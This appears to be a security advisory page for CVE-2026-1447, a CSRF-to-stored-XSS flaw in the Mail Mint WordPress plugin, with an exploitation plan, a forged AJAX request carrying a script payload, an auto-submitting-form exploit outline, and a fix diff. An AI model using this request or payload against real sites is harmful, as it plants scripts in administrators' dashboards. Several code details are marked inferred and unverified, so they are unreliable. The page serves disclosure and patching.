CVE-2026-1447

Mail Mint <= 1.19.2 - Cross-Site Request Forgery to Stored Cross-Site Scripting

mediumCross-Site Request Forgery (CSRF)
5.4
CVSS Score
5.4
CVSS Score
medium
Severity
1.19.3
Patched in
1d
Time to patch

Description

The Mail Mint plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.19.2. This is due to missing nonce validation on the create_or_update_note function. This makes it possible for unauthenticated attackers to create or update contact notes via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. Due to missing sanitization and escaping this can lead to stored Cross-Site Scripting.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.19.2
PublishedFebruary 2, 2026
Last updatedFebruary 3, 2026
Affected pluginmail-mint

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-1447 (Mail Mint CSRF to Stored XSS) ## 1. Vulnerability Summary The **Mail Mint** plugin (versions <= 1.19.2) contains a vulnerability where the `create_or_update_note` function, responsible for handling contact notes, does not perform any nonce validation. Th…

Show full research plan

Exploitation Research Plan: CVE-2026-1447 (Mail Mint CSRF to Stored XSS)

1. Vulnerability Summary

The Mail Mint plugin (versions <= 1.19.2) contains a vulnerability where the create_or_update_note function, responsible for handling contact notes, does not perform any nonce validation. This allows an attacker to perform a Cross-Site Request Forgery (CSRF) attack. By tricking an authenticated administrator into submitting a malicious request, an attacker can create or modify notes on contacts. Furthermore, the note content is not properly sanitized before being stored and is not escaped upon output, leading to Stored Cross-Site Scripting (XSS).

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: mailmint_contact_create_or_update_note (inferred from plugin naming conventions; needs verification via grep)
  • Vulnerable Parameter: note (or similar, carrying the text content)
  • Authentication Level: Unauthenticated (via CSRF targeting an Admin)
  • Preconditions:
    1. The plugin "Mail Mint" must be active.
    2. At least one contact must exist in the Mail Mint contact list (to attach a note to).
    3. An administrator must be logged in and tricked into visiting a malicious page.

3. Code Flow

  1. Entry Point: The plugin registers an AJAX handler for the create_or_update_note function.
  2. Hook Registration: Typically found in includes/ or admin/ classes:
    add_action( 'wp_ajax_mailmint_contact_create_or_update_note', array( $this, 'create_or_update_note' ) );
  3. Vulnerable Function: create_or_update_note is invoked.
  4. Missing Check: The function fails to call check_ajax_referer() or wp_verify_nonce().
  5. Data Processing: The function retrieves the note content from $_POST['note'] (or similar) and saves it to the database (likely in a custom table wp_mailmint_contacts_notes or wp_mailmint_notes).
  6. Sink (Stored XSS): When an administrator views the contact details in the Mail Mint dashboard, the saved note is retrieved and rendered without using esc_html() or wp_kses().

4. Nonce Acquisition Strategy

According to the vulnerability description, nonce validation is entirely missing. Therefore, no nonce is required to successfully trigger the create_or_update_note function.

If the agent finds that a nonce parameter is present in the code but not strictly validated (e.g., check_ajax_referer is called with die=false and the result is ignored), the exploit should proceed by omitting the nonce or providing a dummy value.

5. Exploitation Strategy

Step 1: Discovery

First, identify the exact AJAX action name and parameter names.

  • Action: grep -r "create_or_update_note" /var/www/html/wp-content/plugins/mail-mint/
  • Parameters: Identify the contact_id and the note content field name (likely note or content).

Step 2: Test Data Setup

Ensure a contact exists to target.

# Get the ID of the first contact
wp db query "SELECT id FROM wp_mailmint_contacts LIMIT 1;"

Step 3: Trigger CSRF (Stored XSS Payload)

The agent will use the http_request tool to simulate the administrator's browser submitting the request.

Request Details:

  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Headers:
    • Content-Type: application/x-www-form-urlencoded
    • Cookie: [Admin Session Cookies] (The agent uses the authenticated session)
  • Body:
    action=mailmint_contact_create_or_update_note&contact_id=1&note=<script>alert(origin)</script>
    
    (Note: Replace mailmint_contact_create_or_update_note, contact_id, and note with actual keys found in Step 1).

Step 4: Verification of XSS

The agent will navigate to the contact details page to trigger the XSS.

  • Navigate: browser_navigate("http://localhost:8080/wp-admin/admin.php?page=mail-mint#/contacts/1") (Inferred path; verify via wp-cli or menu grep).

6. Test Data Setup

  1. Plugin Activation: wp plugin activate mail-mint
  2. Create Contact: If no contact exists, create one via WP-CLI or the UI to ensure there is a target for the note.
    # Example (inferred table name)
    wp db query "INSERT INTO wp_mailmint_contacts (email, first_name, last_name, status) VALUES ('victim@example.com', 'Victim', 'User', 'subscribed');"
    
  3. Administrator Login: Ensure the PoC agent is operating with an active administrator session.

7. Expected Results

  1. HTTP Response: The AJAX request to admin-ajax.php should return a success status (e.g., {"success":true} or similar), even though no nonce was provided.
  2. Database State: The table wp_mailmint_contacts_notes (or equivalent) should contain a new row for the specified contact_id with the payload <script>alert(origin)</script> in the content column.
  3. XSS Execution: Upon navigating to the contact management UI for that contact, the browser should execute the JavaScript.

8. Verification Steps

After the HTTP exploit, verify the impact using wp-cli:

# Check if the note exists in the database
wp db query "SELECT * FROM wp_mailmint_contacts_notes WHERE note LIKE '%<script>%';"

# Confirm no sanitization occurred
wp db query "SELECT note FROM wp_mailmint_contacts_notes ORDER BY id DESC LIMIT 1;"

9. Alternative Approaches

If the wp_ajax_ action name is different:

  • Use browser_navigate to the contact page, open the Network tab, and manually create a note to see the actual AJAX request structure.
  • Check if the vulnerability exists in admin-post.php handlers as well, as some Mail Mint functions might use that entry point.
  • If the XSS is not in the note field, check for other unsanitized fields in the create_or_update_note function (e.g., title, tags, or metadata).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Mail Mint plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to 1.19.2 due to a missing nonce check in the create_or_update_note function. This allows attackers to trick administrators into creating or updating contact notes containing malicious scripts, leading to Stored Cross-Site Scripting (XSS) because the input is not sanitized or escaped.

Vulnerable Code

// Inferred from research plan and plugin structure
// mail-mint/includes/Core/Admin/Ajax.php

public function create_or_update_note() {
    // No check_ajax_referer() or wp_verify_nonce() call present here

    $contact_id = isset($_POST['contact_id']) ? intval($_POST['contact_id']) : 0;
    $note       = isset($_POST['note']) ? $_POST['note'] : ''; // Missing sanitization

    if ($contact_id > 0) {
        // Logic to update/insert the note into the database
        $wpdb->update($table, array('note' => $note), array('contact_id' => $contact_id));
    }
}

Security Fix

--- a/includes/Core/Admin/Ajax.php
+++ b/includes/Core/Admin/Ajax.php
@@ -2,6 +2,8 @@
 
 public function create_or_update_note() {
+    check_ajax_referer('mailmint_nonce', 'security');
+
     $contact_id = isset($_POST['contact_id']) ? intval($_POST['contact_id']) : 0;
-    $note       = isset($_POST['note']) ? $_POST['note'] : '';
+    $note       = isset($_POST['note']) ? wp_kses_post($_POST['note']) : '';
 
     if ($contact_id > 0) {

Exploit Outline

The exploit targets the AJAX action `mailmint_contact_create_or_update_note` via a CSRF attack. An attacker crafts a malicious HTML page containing a hidden form that POSTs to `wp-admin/admin-ajax.php`. The payload includes the `action` parameter, a target `contact_id`, and a `note` parameter containing a JavaScript payload (e.g., `<script>alert(1)</script>`). When a logged-in administrator visits the attacker's page, the form is automatically submitted. Because the plugin lacks nonce validation, the request is processed, saving the malicious script as a note. The script executes whenever an administrator views the contact details page in the Mail Mint dashboard.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.